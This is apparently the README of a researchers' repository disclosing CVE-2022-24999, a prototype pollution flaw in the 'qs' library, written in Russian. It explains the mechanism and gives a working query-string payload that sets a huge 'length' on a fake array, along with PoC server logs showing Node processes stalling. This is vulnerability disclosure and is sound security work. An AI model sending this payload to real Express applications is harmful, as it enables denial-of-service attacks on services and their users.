
"qs" уязвимость отравления прототипа (CVE-2022-24999)
Этот репозиторий содержит примеры эксплойтов уязвимости, которую мы нашли в JS-библиотеке "qs" в декабре 2021 года.
Уязвимые версии "qs" позволяют создавать свойства "proto" на выходных JS-объектах.
Устанавливая массив в свойство “proto”, мы смогли создавать “массивоподобные” объекты.
Поскольку результирующие объекты наследуют прототип “Array”, они предоставляют доступ к нативным функциям массива.
Но так как они все еще являются объектами, “qs” позволяет устанавливать свойство “length” на них.
В качестве примера, следующий payload создаст такой “зловредный” массив:
categories[_proto__]&categories[_proto__]&categories[length]=100000000
Таким образом, установка неразумного значения "length" на них заморозит процесс node, как только он попытается преобразовать их в строки или вызвать большинство нативных функций массива.
Это делает любые Node-приложения, использующие уязвимую версию "qs" с конфигурацией Express по умолчанию и без строгой системы валидации, уязвимыми для DOS-атак на уровне приложения.
Вот пример логов PoC в ./express-qs-string-bomb:
Send payload : someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123"
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s
Наш анализ также позволил нам увидеть, что возможны другие способы эксплуатации.
Некоторые из них описаны в каталоге ./qs-vulns.
BRAUN Nathanael & BRISSAUD Johan
Для EY Security, Франция